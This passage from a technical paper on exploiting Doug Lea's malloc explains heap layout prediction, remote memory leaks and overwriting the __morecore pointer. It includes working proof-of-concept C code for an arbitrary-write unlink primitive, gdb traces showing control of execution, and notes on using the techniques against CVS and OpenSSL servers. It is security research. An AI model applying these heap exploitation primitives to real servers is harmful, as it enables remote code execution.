--- HEAP LAYOUT --- 

|A||A||16||A||A||16||A||T| 

 

The chunk next to the top chunk is freed, so it gets coalesced with it, 

and it is not inserted in any bin. 
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15              free(lala); 

 

[1679] FREE(0x80499c0) - CHUNK_FREE(0x40018040,0x80499b8) 

    unlink(0x8049938,0x400180c0,0x8049728) for back consolidation 

    merging with top 

    new top 0x8049938 

 

--- HEAP DUMP --- 

            ADDRESS   SIZE               FD           BK 

sbrk_base 0x8049598 

chunk     0x8049598 0x0109 (A) 

chunk     0x80496a0 0x0089 (A) 

chunk     0x8049728 0x0081 (F) | 0x400180c0 | 0x400180c0 | (LC) 

chunk     0x80497a8 0x0108 (A) 

chunk     0x80498b0 0x0089 (A) 

chunk     0x8049938 0x16c9 (T) 

sbrk_end  0x804b000 

 

--- BIN DUMP --- 

arena @ 0x40018040 - top @ 0x8049938 - top size = 0x16c8 

   bin 16 @ 0x400180c0 

      free_chunk @ 0x8049728 - size 0x0080 

 

--- HEAP LAYOUT --- 

|A||A||16||A||A||T| 

 

Again, but this time also the chunk before the freed chunk is coalesced, as 

it was already free. 

 

--------------------------------------------------------------------------- 

--] 4.3 - Layout reset - initial layout prediction - server model 

 

In this section, we analyse how different scenarios may impact on the 

exploitation process. 

In case of servers that get restarted, it may be useful to cause a 'heap 

reset', which means crashing the process on purpose in order to obtain a  

clean and known initial heap layout. 

The new heap that gets built together with the new restarted process is 

in its 'initial layout'. This refers to the initial state of the heap 

after the process initialization, before receiving any input from the  

user. The initial layout can be easily predicted and used as a the known 

starting point for the heap layout evolution prediction, instead of using 

a not virgin layout result of several modifications performed while 

serving client requests. This initial layout may not vary much across 

different versions of the targeted server, but in case of major changes in 

the source code. 

One issue very related to the heap layout analysis is the kind of process 

being exploited. 

In case of a process that serves several clients, heap layout evolution 

prediction is harder, as may be influenced by other clients that may be 

interacting with our target server while we are trying to exploit it. 

However, it gets useful in case where the interaction between the server 

and the client is very restricted, as it enables the attacker to  open 

multiple connections to affect the same process with different input 

commands. 

On the other hand, exploiting a one client per process server (i.e. a 

forking server) is easier, as long as we can accurately predict the 

initial heap layout and we are able to populate the process memory in 

a fully controlled way. 

As it is obvious, a server that does not get restarted, gives us just one 
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shot so, for example, bruteforcing and/or 'heap reset' can't be applied. 

 

--------------------------------------------------------------------------- 

--] 4.4 Obtaining information from the remote process 

 

The idea behind the techniques in this section is to force a remote 

server to give us information to aid us in finding the memory locations 

needed for exploitation.  

This concept was already used as different mechanisms in the 'Bypassing 

PaX ASLR' paper [13], used to bypass randomized space address processes. 

Also, the idea was suggested in [4], as 'transforming a write primitive in 

a read primitive'. 

 

--] 4.4.1 Modifying server static data - finding process' DATA 

 

This technique was originally seen in wuftpd ~{ exploits. When the ftpd 

process receives a 'help' request, answers with all the available commands. 

These are stored in a table which is part of the process' DATA, being a 

static structure. The attacker tries to overwrite part of the structure, 

and using the 'help' command until he sees a change in the server's answer. 

 

Now the attacker knows an absolute address within the process' DATA, being 

able to predict the location of the process' GOT. 

 

--] 4.4.2 Modifying user input - finding shellcode location 

 

The following technique allows the attacker to find the exact location of 

the injected shellcode within the process' address space, being 

independent of the target process. 

To obtain the address, the attacker provides the process with some bogus 

data, which is stored in some part of the process. Then, the basic 

primitive is used, trying to write 4 bytes in the location the bogus 

data was previously stored. After this, the server is forced to reply 

using the supplied bogus data. 

If the replayed data differs from the original supplied (taken into account 

any transformation the server may perform on our input), we can be sure 

that next time we send the same input sequence to the server, it will be 

stored in the same place. The server's answer may be truncated if a 

function expecting NULL terminating strings is used to craft it, or to 

obtain the answer's length before sending it through the network. 

In fact, the provided input may be stored multiple times in different 

locations, we will only detect a modification when we hit the location 

where the server reply is crafted. 

Note we are able to try two different addresses for each connection,  

speeding up the bruteforcing mechanism. 

The main requirement needed to use this trick, is being able to trigger 

the aa4bmo primitive between the time the supplied data is stored and the 

time the server's reply is built. Understanding the process allocation 

behavior, including how is processed each available input command is 

needed. 

 

--] 4.4.2.1 Proof of concept 3 : Hitting the output 

 

The following code simulates a process which provides us with a aa4bmo 

primitive to try to find where a heap allocated output buffer is located: 

 

 

#include <stdio.h> 

#define SZ           256 

#define SOMEOFFSET   5 + (rand() % (SZ-1)) 

#define PREV_INUSE   1 



[7. Advanced Doug lea's malloc exploits - jp] 

 

  Page 
247 

 
  

#define IS_MMAP      2 

#define OUTPUTSZ     1024 

 

void aa4bmoPrimitive(unsigned long what, unsigned long where){ 

   unsigned long *unlinkMe=(unsigned long*)malloc(SZ*sizeof(unsigned 

long)); 

   int i = 0; 

   unlinkMe[i++] = -4; 

   unlinkMe[i++] = -4; 

   unlinkMe[i++] = what; 

   unlinkMe[i++] = where-8; 

   for(;i<SZ;i++){ 

      unlinkMe[i] = ((-(i-1) * 4) & ~IS_MMAP) | PREV_INUSE ; 

   } 

   free(unlinkMe+SOMEOFFSET); 

   return; 

} 

 

int main(int argc, char **argv){ 

   long where; 

   char *output; 

   int contador,i; 

 

   printf("## OUTPUT hide and seek ##\n\n"); 

   output = (char*)malloc(OUTPUTSZ); 

   memset(output,'O',OUTPUTSZ); 

 

   for(contador=1;argv[contador]!=NULL;contador++){ 

      where = strtol(argv[contador], (char **)NULL, 16); 

        printf("[.] trying %p\n",where); 

 

      aa4bmoPrimitive(where,where); 

 

      for(i=0;i<OUTPUTSZ;i++) 

         if(output[i] != 'O'){ 

            printf("(!) you found the output @ %p :(\n",where); 

            printf("[%s]\n",output); 

            return 0; 

         } 

      printf("(-) output was not @ %p :P\n",where); 

   } 

   printf("(x) did not find the output <:|\n"); 

} 

 

 

LD_PRELOAD=./heapy.so ./hitOutput 0x8049ccc 0x80498b8 0x8049cd0 0x8049cd4 

0x8049cd8 0x8049cdc 0x80498c8 > output 

 

## OUTPUT hide and seek ## 

 

[.] trying 0x8049ccc 

(-) output was not @ 0x8049ccc :P 

[.] trying 0x80498b8 

(-) output was not @ 0x80498b8 :P 

[.] trying 0x8049cd0 

(-) output was not @ 0x8049cd0 :P 

[.] trying 0x8049cd4 

(-) output was not @ 0x8049cd4 :P 

[.] trying 0x8049cd8 

(-) output was not @ 0x8049cd8 :P 

[.] trying 0x8049cdc 
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(-) output was not @ 0x8049cdc :P 

[.] trying 0x80498c8 

(!) you found the output @ 0x80498c8 :( 

[OOOOOOOOÈ~X^D^HÈ~X^D^HOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO 

... 

OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO] 

 

Note the stamped output in the following hexdump: 

... 

7920 756f 6620 756f 646e 7420 6568 6f20 

7475 7570 2074 2040 7830 3038 3934 6338 

2038 283a 5b0a 4f4f 4f4f 4f4f 4f4f 98c8   <== 

0804 98c8 0804 4f4f 4f4f 4f4f 4f4f 4f4f   <== 

4f4f 4f4f 4f4f 4f4f 4f4f 4f4f 4f4f 4f4f 

4f4f 4f4f 4f4f 0a5d 

 

 

This bruteforcing mechanism is not completely accurate in some cases, for 

example, when the target server uses an output buffering scheme. 

In order to improve the technique, we might mark some part of the supplied 

data as real shellcode, and other as nops, requiring the nop part to be hit 

while bruteforcing in order to avoid obtaining an address in the middle of 

our shellcode. Even better, we could tag each four bytes with a masked  

offset (i.e. to avoid character \x00 i.e.), when we analyse the reply we 

will now obtain the expected offset to the shellcode, so being able in a 

second try to see if actually in that expected address was stored our 

shellcode, detecting and avoiding this way the risk of our input being 

split and stored separated in the heap. 

 

For example, in the CVS 'Directory' double free exploit [7], unrecognized 

commands (i.e. 'cucucucucu') are used to populate the server heap. The 

server does not answer, just stores the provided data in the heap, and 

waits, until a noop or a command is received. After that, the unrecognized 

command that was sent is sent back without any modification to the client. 

We can provide the server with data almost without any size restriction, 

this data is stored in the heap, until we force it to be replayed to us. 

However, analysing how our unrecognized command is stored in the heap we 

find that, instead of what we expected (a single memory chunk with our 

data), there are other structures mixted with our input: 

 

--- HEAP DUMP --- 

            ADDRESS    SIZE               FD           BK 

[...] 

chunk     0x80e9998 0x00661 (F) | 0x40018e48 | 0x40018e48 | 

chunk     0x80e9ff8 0x10008 (A) 

chunk     0x80fa000 0x00ff9 (F) | 0x40018ed0 | 0x0810b000 | 

chunk     0x80faff8 0x10008 (A) 

chunk     0x810b000 0x00ff9 (F) | 0x080fa000 | 0x0811c000 | 

chunk     0x810bff8 0x10008 (A) 

chunk     0x813e000 0x04001 (T) 

sbrk_end  0x8142000 

 

This happens because error messages are buffered when generated, waiting 

to be flushed, some buffering state internal structures get allocated, 

and our data is split and stored in fixed size error buffers. 

 

--] 4.4.3 Modifying user input - finding libc's DATA 

 

In this situation, we are able to provide some input to the vulnerable 

server which is then sent as output to us again. For example, in the CVS 

'Directory' double free() vulnerability, we give the server and invalid 
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command, which is finally echoed back to the client explaining it was an 

invalid command. 

If we are able to force a call to free(), to an address pointing in 

somewhere in the middle of our provided input, before it is sent back to 

the client, we will be able to get the address of a main_arena's bin. 

The ability to force a free() pointing to our supplied input, depends 

on the exploitation scenario, being simple to achieve this in 

'double-free' situations. 

When the server frees our input, it founds a very big sized chunk, so 

it links it as the first chunk (lonely chunk) of the bin. This depends 

mainly on the process heap layout, but depending on what we are exploiting 

it should be easy to predict which size would be needed to create the 

new free chunk as a lonely one. 

When frontlink() setups the new free chunk, it saves the bin address 

in the fw and bk pointer of the chunk, being this what ables us to obtain 

later the bin address. 

Note we should be careful with our input chunk, in order to avoid the 

process crashing while freeing our chunk, but this is quite simple in most 

cases, i.e. providing a known address near the end of the stack. 

 

The user provides as input a 'cushion chunk' to the target process. free() 

is called in any part of our input, so our especially crafted chunk is 

inserted in one of the last bins (we may know it's empty from the heap 

analysis stage, avoiding then a process crash). When the provided cushion 

chunk is inserted into the bin, the bin's address is written in the fd and 

bk fields of the chunk's header.  

 

--] 4.4.3.1 Proof of concept 4 : Freeing the output 

 

The following code creates a 'cushion chunk' as it would be sent to the 

server, and calls free() at a random location within the chunk (as the  

target server would do). 

The cushion chunk writes to a valid address to avoid crashing the process, 

and its backward and forward pointer are set with the bin's address by 

the frontlink() macro. 

Then, the code looks for the wanted addresses within the output, as would 

do an exploit which received the server answer. 

 

 

#include <stdio.h> 

#define SZ           256 

#define SOMEOFFSET   5 + (rand() % (SZ-1)) 

#define PREV_INUSE   1 

#define IS_MMAP      2 

 

unsigned long *aa4bmoPrimitive(unsigned long what, unsigned long where){ 

   unsigned long *unlinkMe=(unsigned long*)malloc(SZ*sizeof(unsigned 

long)); 

   int i = 0; 

   unlinkMe[i++] = -4; 

   unlinkMe[i++] = -4; 

   unlinkMe[i++] = what; 

   unlinkMe[i++] = where-8; 

   for(;i<SZ;i++){ 

      unlinkMe[i] = ((-(i-1) * 4) & ~IS_MMAP) | PREV_INUSE ; 

   } 

   printf ("(-) calling free() at random address of output buffer...\n"); 

   free(unlinkMe+SOMEOFFSET); 

   return unlinkMe; 

} 
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int main(int argc, char **argv){ 

   unsigned long *output; 

   int i; 

 

   printf("## FREEING THE OUTPUT PoC ##\n\n"); 

   printf("(-) creating output buffer...\n"); 

   output = aa4bmoPrimitive(0xbfffffc0,0xbfffffc4); 

   printf("(-) looking for bin address...\n"); 

   for(i=0;i<SZ-1;i++) 

      if(output[i] == output[i+1] &&  

       ((output[i] & 0xffff0000) != 0xffff0000)) { 

         printf("(!) found bin address -> %p\n",output[i]); 

         return 0; 

      } 

   printf("(x) did not find bin address\n"); 

} 

 

 

./freeOutput 

 

## FREEING THE OUTPUT PoC ## 

 

(-) creating output buffer... 

(-) calling free() at random address of output buffer... 

(-) looking for bin address... 

(!) found bin address -> 0x4212b1dc 

 

We get chunk free with our provided buffer: 

 

chunk_free (ar_ptr=0x40018040, p=0x8049ab0) at heapy.c:3221 

(gdb) x/20x p 

0x8049ab0:      0xfffffd6d      0xfffffd69      0xfffffd65      0xfffffd61 

0x8049ac0:      0xfffffd5d      0xfffffd59      0xfffffd55      0xfffffd51 

0x8049ad0:      0xfffffd4d      0xfffffd49      0xfffffd45      0xfffffd41 

0x8049ae0:      0xfffffd3d      0xfffffd39      0xfffffd35      0xfffffd31 

0x8049af0:      0xfffffd2d      0xfffffd29      0xfffffd25      0xfffffd21 

(gdb) 

0x8049b00:      0xfffffd1d      0xfffffd19      0xfffffd15      0xfffffd11 

0x8049b10:      0xfffffd0d      0xfffffd09      0xfffffd05      0xfffffd01 

0x8049b20:      0xfffffcfd      0xfffffcf9      0xfffffcf5      0xfffffcf1 

0x8049b30:      0xfffffced      0xfffffce9      0xfffffce5      0xfffffce1 

0x8049b40:      0xfffffcdd      0xfffffcd9      0xfffffcd5      0xfffffcd1 

(gdb) 

0x8049b50:      0xfffffccd      0xfffffcc9      0xfffffcc5      0xfffffcc1 

0x8049b60:      0xfffffcbd      0xfffffcb9      0xfffffcb5      0xfffffcb1 

0x8049b70:      0xfffffcad      0xfffffca9      0xfffffca5      0xfffffca1 

0x8049b80:      0xfffffc9d      0xfffffc99      0xfffffc95      0xfffffc91 

0x8049b90:      0xfffffc8d      0xfffffc89      0xfffffc85      0xfffffc81 

(gdb) 

 

3236      next = chunk_at_offset(p, sz); 

3237      nextsz = chunksize(next); 

3239      if (next == top(ar_ptr)) /* merge with top */ 

3278      islr = 0; 

3280      if (!(hd & PREV_INUSE))  /* consolidate backward */ 

3294      if (!(inuse_bit_at_offset(next, nextsz)))    

            /* consolidate forward */ 

3296        sz += nextsz; 

3298        if (!islr && next->fd == last_remainder(ar_ptr)) 

3306          unlink(next, bck, fwd); 

3315      set_head(p, sz | PREV_INUSE); 
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3316      next->prev_size = sz; 

3317      if (!islr) { 

3318        frontlink(ar_ptr, p, sz, idx, bck, fwd); 

 

After the frontlink() macro is called with our supplied buffer, it gets 

the address of the bin in which it is inserted: 

 

fronlink(0x8049ab0,-668,126,0x40018430,0x40018430) new free chunk 

 

(gdb) x/20x p 

 

0x8049ab0:      0xfffffd6d      0xfffffd65      0x40018430      0x40018430 

0x8049ac0:      0xfffffd5d      0xfffffd59      0xfffffd55      0xfffffd51 

0x8049ad0:      0xfffffd4d      0xfffffd49      0xfffffd45      0xfffffd41 

0x8049ae0:      0xfffffd3d      0xfffffd39      0xfffffd35      0xfffffd31 

0x8049af0:      0xfffffd2d      0xfffffd29      0xfffffd25      0xfffffd21 

 

(gdb) c 

Continuing. 

(-) looking for bin address... 

(!) found bin address -> 0x40018430 

 

Let's check the address we obtained: 

 

(gdb) x/20x 0x40018430 

0x40018430 <main_arena+1008>:   0x40018428      0x40018428      0x08049ab0 

0x08049ab0 

0x40018440 <main_arena+1024>:   0x40018438      0x40018438      0x40018040 

0x000007f0 

0x40018450 <main_arena+1040>:   0x00000001      0x00000000      0x00000001 

0x0000016a 

0x40018460 <__FRAME_END__+12>:  0x0000000c      0x00001238      0x0000000d 

0x0000423c 

0x40018470 <__FRAME_END__+28>:  0x00000004      0x00000094      0x00000005 

0x4001370c 

 

And we see it's one of the last bins of the main_arena. 

 

Although in this example we hit the cushion chunk in the first try on 

purpose, this technique can be applied to brute force the location of our 

output buffer also at the same time (if we don't know it beforehand). 

 

 

--] 4.4.4 Vulnerability based heap memory leak - finding libc's data 

 

In this case, the vulnerability itself leads to leaking process memory. 

For example, in the OpenSSL 'SSLv2 Malformed Client Key Buffer Overflow' 

vulnerability [6], the attacker is able to overflow a buffer and overwrite 

a variable used to track a buffer length. 

When this length is overwritten with a length greater than the original, 

the process sends the content of the buffer (stored in the process' heap) 

to the client, sending more information than the originally stored. The 

attacker obtains then a limited portion of the process heap. 

 

--------------------------------------------------------------------------- 

--] 4.5 Abusing the leaked information 

 

The goal of the techniques in this section is to exploit the information 

gathered using one of the process information leak tricks shown before. 

 

--] 4.5.1 Recognizing the arena 
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The idea is to get from the previously gathered information, the address 

of a malloc's bin. This applies mainly to scenarios were we are able to 

leak process heap memory. A bin address can be directly obtained if the 

attacker is able to use the 'freeing the output' technique. 

The obtained bin address can be used later to find the address of a 

function pointer to overwrite with the address of our shellcode, as shown 

in the next techniques. 

 

Remembering how the bins are organized in memory (circular 

double linked lists), we know that a chunk hanging from any bin 

containing just one chunk will have both pointers (bk and fd) 

pointing to the head of the list, to the same address, since the list 

is circular. 

 

   [bin_n]          (first chunk) 

      ptr]  ---->  [<- chunk ->] [<- chunk ->] [<-  fd 

                           [    chunk 

      ptr]  ---->  [<- chunk ->] [<- chunk ->] [<-  bk 

   [bin_n+1]        (last chunk) 

 

     . 

     . 

     . 

 

   [bin_X] 

      ptr] ---->  [<-  fd 

                  [    lonely but interesting chunk 

      ptr] ---->  [<-  bk 

     . 

     . 

 

This is really nice, as it allows us to recognize within the 

heap which address is pointing to a bin, located in libc's space address 

more exactly, to some place in the main_arena as this head of the bin 

list is located in the main_arena. 

 

Then, we can look for two equal memory addresses, one next to the 

other, pointing to libc's memory (looking for addresses of 

the form 0x4....... is enough for our purpose). We can suppose these 

pairs of addresses we found are part of a free chunk which is the only 

one hanging of a bin, we know it looks like... 

 

   size | fd | bk 

 

How easy is to find a lonely chunk in the heap immensity? 

First, this depends on the exploitation scenario and the exploited process 

heap layout. For example, when exploiting the OpenSSL bug along different 

targets, we could always find at least a lonely chunk within the leaked 

heap memory. 

Second, there is another scenario in which we will be able to locate 

a malloc bin, even without the capability to find a lonely chunk. If 

we are able to find the first or last chunk of a bin, one of its 

pointers will reference an address within main_arena, while the 

other one will point to another free chunk in the process heap. So, 

we'll be looking for pairs of valid pointers like these: 

 

   [ ptr_2_libc's_memory | ptr_2_process'_heap ] 

 

   or 
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   [ ptr_2_process'_heap | ptr_2_libc's_memory ] 

 

We must take into account that this heuristic will not be as accurate 

as searching for a pair of equal pointers to libc's space address, but 

as we already said, it's possible to cross-check between multiple possible 

chunks. 

Finally, we must remember this depends totally on the way we are 

abusing the process to read its memory. In case we can read arbitrary 

addresses of memory, this is not an issue, the problem gets harder 

as more limited is our mechanism to retrieve remote memory. 

 

--] 4.5.2 Morecore 

 

Here, we show how to find a function pointer within the libc after 

obtaining a malloc bin address, using one of the before explained 

mechanisms. 

 

Using the size field of the retrieved chunk header and the bin_index() or 

smallbin_index() macro we obtain the exact address of the main_arena. 

We can cross check between multiple supposed lonely chunks that the 

main_arena address we obtained is the real one, depending on the 

quantity of lonely chunks pairs we'll be more sure. As long as the 

process doesn't crash, we may retrieve heap memory several times, as 

main_arena won't change its location. Moreover, I think it 

wouldn't be wrong to assume main_arena is located in the same address 

across different processes (this depends on the address on which the 

libc is mapped). This may even be true across different servers 

processes, allowing us to retrieve the main_arena through a leak in a 

process different from the one being actively exploited. 

 

Just 32 bytes before &main_arena[0] is located __morecore. 

 

Void_t *(*__morecore)() = __default_morecore; 

 

MORECORE() is the name of the function that is called through malloc 

code in order to obtain more memory from the operating system, it 

defaults to sbrk(). 

 

Void_t * __default_morecore (); 

Void_t *(*__morecore)() = __default_morecore; 

#define MORECORE (*__morecore) 

 

The following disassembly shows how MORECORE is called from chunk_alloc() 

code, an indirect call to __default_morecore is performed by default: 

 

<chunk_alloc+1468>:  mov    0x64c(%ebx),%eax 

<chunk_alloc+1474>:  sub    $0xc,%esp 

<chunk_alloc+1477>:  push   %esi 

<chunk_alloc+1478>:  call   *(%eax) 

 

where $eax points to __default_morecore 

 

(gdb) x/x $eax 

0x4212df80 <__morecore>:   0x4207e034 

 

(gdb) x/4i 0x4207e034 

0x4207e034 <__default_morecore>: push   %ebp 

0x4207e035 <__default_morecore+1>:  mov    %esp,%ebp 

0x4207e037 <__default_morecore+3>:  push   %ebx 

0x4207e038 <__default_morecore+4>:  sub    $0x10,%esp 
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MORECORE() is called from the malloc() algorithm to extend the memory top, 

requesting the operating system via the sbrk.  

 

MORECORE() gets called twice from malloc_extend_top() 

 

    brk = (char*)(MORECORE (sbrk_size)); 

    ... 

    /* Allocate correction */ 

    new_brk = (char*)(MORECORE (correction)); 

 

 

which is called by chunk_alloc(): 

 

    /* Try to extend */ 

    malloc_extend_top(ar_ptr, nb); 

 

Also, MORECORE is called by main_trim() and top_chunk(). 

 

 

We just need to sit and wait until the code reaches any of these points. 

In some cases it may be necessary to arrange things in order to avoid the 

code crashing before.  

The morecore function pointer is called each time the heap needs to be 

extended, so forcing the process to allocate a lot of memory is 

recommended after overwriting the pointer.  

In case we are not able to avoid a crash before taking control of the 

process, there's no problem (unless the server dies completely), as we can 

expect the libc to be mapped in the same address in most cases. 

 

--] 4.5.2.1 Proof of concept 5 : Jumping with morecore 

 

The following code just shows to get the required information from a 

freed chunk, calculates the address of __morecore and forces a call 

to MORECORE() after having overwritten it. 

 

[jp@vaiolator heapy]$ ./heapy 

(-) lonely chunk was freed, gathering information... 

   (!) sz = 520 - bk = 0x4212E1A0 - fd = 0x4212E1A0 

   (!) the chunk is in bin number 64 

   (!) &main_arena[0] @ 0x4212DFA0 

   (!) __morecore @ 0x4212DF80 

(-) overwriting __morecore... 

(-) forcing a call to MORECORE()... 

Segmentation fault 

 

Let's look what happened with gdb, we'll also be using a simple 

modified malloc in the form of a shared library to know what is 

going on inside malloc's internal structures. 

 

[jp@vaiolator heapy]$ gdb heapy 

GNU gdb Red Hat Linux (5.2-2) 

Copyright 2002 Free Software Foundation, Inc. 

GDB is free software, covered by the GNU General Public License, and you 

are 

welcome to change it and/or distribute copies of it under certain 

conditions. 

Type "show copying" to see the conditions. 

There is absolutely no warranty for GDB.  Type "show warranty" for details. 

This GDB was configured as "i386-redhat-linux"... 

(gdb) r 
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Starting program: /home/jp/cerebro//heapy/morecore 

(-) lonely chunk was freed, gathering information... 

   (!) sz = 520 - bk = 0x4212E1A0 - fd = 0x4212E1A0 

   (!) the chunk is in bin number 64 

   (!) &main_arena[0] @ 0x4212DFA0 

   (!) __morecore @ 0x4212DF80 

(-) overwriting __morecore... 

(-) forcing a call to MORECORE()... 

 

Program received signal SIGSEGV, Segmentation fault. 

0x41414141 in ?? () 

 

 

Taking a look at the output step by step: 

 

First we alloc our lonely chunk: 

    chunk = (unsigned int*)malloc(CHUNK_SIZE); 

(gdb) x/8x chunk-1 

0x80499d4:  0x00000209  0x00000000  0x00000000  0x00000000 

0x80499e4:  0x00000000  0x00000000  0x00000000  0x00000000 

 

Note we call malloc() again with another pointer, letting this aux 

pointer be the chunk next to the top_chunk... to avoid the 

differences in the way it is handled when freed with our purposes 

(remember in this special case the chunk would be coalesced with the 

top_chunk without getting linked to any bin): 

 

        aux = (unsigned int*)malloc(0x0); 

 

[1422] MALLOC(512) - CHUNK_ALLOC(0x40019bc0,520) 

   - returning 0x8049a18 from top_chunk 

   - new top 0x8049c20 size 993 

[1422] MALLOC(0)   - CHUNK_ALLOC(0x40019bc0,16) 

   - returning 0x8049c20 from top_chunk 

   - new top 0x8049c30 size 977 

 

This is the way the heap looks like up to now... 

 

--- HEAP DUMP --- 

                ADDRESS SIZE       FLAGS 

sbrk_base   0x80499f8 

chunk       0x80499f8 33(0x21)   (inuse) 

chunk       0x8049a18 521(0x209) (inuse) 

chunk       0x8049c20 17(0x11)   (inuse) 

chunk       0x8049c30 977(0x3d1) (top) 

sbrk_end    0x804a000 

 

--- HEAP LAYOUT --- 

|A||A||A||T| 

 

--- BIN DUMP --- 

ar_ptr = 0x40019bc0 - top(ar_ptr) = 0x8049c30 

 

No bins at all exist now, they are completely empty. 

 

After that we free him: 

   free(chunk); 

 

[1422] FREE(0x8049a20) - CHUNK_FREE(0x40019bc0,0x8049a18) 

   - fronlink(0x8049a18,520,64,0x40019dc0,0x40019dc0) 

   - new free chunk 
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(gdb) x/8x chunk-1 

0x80499d4:  0x00000209  0x4212e1a0  0x4212e1a0  0x00000000 

0x80499e4:  0x00000000  0x00000000  0x00000000  0x00000000 

 

The chunk was freed and inserted into some bin... which was empty as 

this was the first chunk freed. So this is a 'lonely chunk', the 

only chunk in one bin. 

Here we can see both bk and fd pointing to the same address in 

libc's memory, let's see how the main_arena looks like now: 

 

0x4212dfa0 <main_arena>:   0x00000000  0x00010000  0x08049be8  0x4212dfa0 

0x4212dfb0 <main_arena+16>:   0x4212dfa8  0x4212dfa8  0x4212dfb0  

0x4212dfb0 

0x4212dfc0 <main_arena+32>:   0x4212dfb8  0x4212dfb8  0x4212dfc0  

0x4212dfc0 

0x4212dfd0 <main_arena+48>:   0x4212dfc8  0x4212dfc8  0x4212dfd0  

0x4212dfd0 

0x4212dfe0 <main_arena+64>:   0x4212dfd8  0x4212dfd8  0x4212dfe0  

0x4212dfe0 

0x4212dff0 <main_arena+80>:   0x4212dfe8  0x4212dfe8  0x4212dff0  

0x4212dff0 

0x4212e000 <main_arena+96>:   0x4212dff8  0x4212dff8  0x4212e000  

0x4212e000 

0x4212e010 <main_arena+112>:  0x4212e008  0x4212e008  0x4212e010  

0x4212e010 

0x4212e020 <main_arena+128>:  0x4212e018  0x4212e018  0x4212e020  

0x4212e020 

0x4212e030 <main_arena+144>:  0x4212e028  0x4212e028  0x4212e030  

0x4212e030 

... 

... 

0x4212e180 <main_arena+480>:  0x4212e178  0x4212e178  0x4212e180  

0x4212e180 

0x4212e190 <main_arena+496>:  0x4212e188  0x4212e188  0x4212e190  

0x4212e190 

0x4212e1a0 <main_arena+512>:  0x4212e198  0x4212e198  0x080499d0  

0x080499d0 

0x4212e1b0 <main_arena+528>:  0x4212e1a8  0x4212e1a8  0x4212e1b0  

0x4212e1b0 

0x4212e1c0 <main_arena+544>:  0x4212e1b8  0x4212e1b8  0x4212e1c0  

0x4212e1c0 

 

Note the completely just initialized main_arena with all its bins 

pointing to themselves, and the just added free chunk to one of the 

bins... 

 

(gdb) x/4x 0x4212e1a0 

0x4212e1a0 <main_arena+512>:  0x4212e198  0x4212e198  0x080499d0  

0x080499d0 

 

Also, both bin pointers refer to our lonely chunk. 

 

Let's take a look at the heap in this moment: 

 

--- HEAP DUMP --- 

                ADDRESS   SIZE       FLAGS 

sbrk_base   0x80499f8 

chunk       0x80499f8 33(0x21)   (inuse) 

chunk       0x8049a18 521(0x209) (free)      fd = 0x40019dc0 | bk = 

0x40019dc0 
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chunk       0x8049c20 16(0x10)   (inuse) 

chunk       0x8049c30 977(0x3d1) (top) 

sbrk end    0x804a000 

 

--- HEAP LAYOUT --- 

|A||64||A||T| 

 

--- BIN DUMP --- 

ar_ptr = 0x40019bc0 - top(ar_ptr) = 0x8049c30 

   bin -> 64 (0x40019dc0) 

      free_chunk 0x8049a18 - size 520 

 

 

Using the known size of the chunk, we know in which bin it was 

placed, so we can get main_arena's address and, finally, __morecore. 

 

(gdb) x/16x 0x4212dfa0-0x20 

0x4212df80 <__morecore>:   0x4207e034  0x00000000  0x00000000  0x00000000 

0x4212df90 <__morecore+16>:   0x00000000  0x00000000  0x00000000  

0x00000000 

0x4212dfa0 <main_arena>:   0x00000000  0x00010000  0x08049be8  0x4212dfa0 

0x4212dfb0 <main_arena+16>:   0x4212dfa8  0x4212dfa8  0x4212dfb0  

0x4212dfb0 

 

Here, by default __morecore points to __default_morecore: 

 

(gdb) x/20i __morecore 

0x4207e034 <__default_morecore>: push   %ebp 

0x4207e035 <__default_morecore+1>:  mov    %esp,%ebp 

0x4207e037 <__default_morecore+3>:  push   %ebx 

0x4207e038 <__default_morecore+4>:  sub    $0x10,%esp 

0x4207e03b <__default_morecore+7>:  call   0x4207e030 

<memalign_hook_ini+64> 

0x4207e040 <__default_morecore+12>: add    $0xb22cc,%ebx 

0x4207e046 <__default_morecore+18>: mov    0x8(%ebp),%eax 

0x4207e049 <__default_morecore+21>: push   %eax 

0x4207e04a <__default_morecore+22>: call   0x4201722c <_r_debug+33569648> 

0x4207e04f <__default_morecore+27>: mov    0xfffffffc(%ebp),%ebx 

0x4207e052 <__default_morecore+30>: mov    %eax,%edx 

0x4207e054 <__default_morecore+32>: add    $0x10,%esp 

0x4207e057 <__default_morecore+35>: xor    %eax,%eax 

0x4207e059 <__default_morecore+37>: cmp    $0xffffffff,%edx 

0x4207e05c <__default_morecore+40>: cmovne %edx,%eax 

0x4207e05f <__default_morecore+43>: mov    %ebp,%esp 

0x4207e061 <__default_morecore+45>: pop    %ebp 

0x4207e062 <__default_morecore+46>: ret 

0x4207e063 <__default_morecore+47>: lea    0x0(%esi),%esi 

0x4207e069 <__default_morecore+53>: lea    0x0(%edi,1),%edi 

 

To conclude, we overwrite __morecore with a bogus address, and force 

malloc to call __morecore: 

 

   *(unsigned int*)morecore = 0x41414141; 

   chunk=(unsigned int*)malloc(CHUNK_SIZE*4); 

 

[1422] MALLOC(2048) - CHUNK_ALLOC(0x40019bc0,2056) 

   - extending top chunk 

   - previous size 976 

 

Program received signal SIGSEGV, Segmentation fault. 

0x41414141 in ?? () 
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(gdb) bt 

#0  0x41414141 in ?? () 

#1  0x4207a148 in malloc () from /lib/i686/libc.so.6 

#2  0x0804869d in main (argc=1, argv=0xbffffad4) at heapy.c:52 

#3  0x42017589 in __libc_start_main () from /lib/i686/libc.so.6 

 

(gdb) frame 1 

#1  0x4207a148 in malloc () from /lib/i686/libc.so.6 

(gdb) x/i $pc-0x5 

0x4207a143 <malloc+195>:   call   0x4207a2f0 <chunk_alloc> 

(gdb) disass chunk_alloc 

Dump of assembler code for function chunk_alloc: 

... 

0x4207a8ac <chunk_alloc+1468>:   mov    0x64c(%ebx),%eax 

0x4207a8b2 <chunk_alloc+1474>:   sub    $0xc,%esp 

0x4207a8b5 <chunk_alloc+1477>:   push   %esi 

0x4207a8b6 <chunk_alloc+1478>:   call   *(%eax) 

 

At this point we see chunk_alloc trying to jump to __morecore 

 

(gdb) x/x $eax 

0x4212df80 <__morecore>:   0x41414141 

 

#include <stdio.h> 

#include <stdlib.h> 

 

/* some malloc code... */ 

#define MAX_SMALLBIN         63 

#define MAX_SMALLBIN_SIZE   512 

#define SMALLBIN_WIDTH        8 

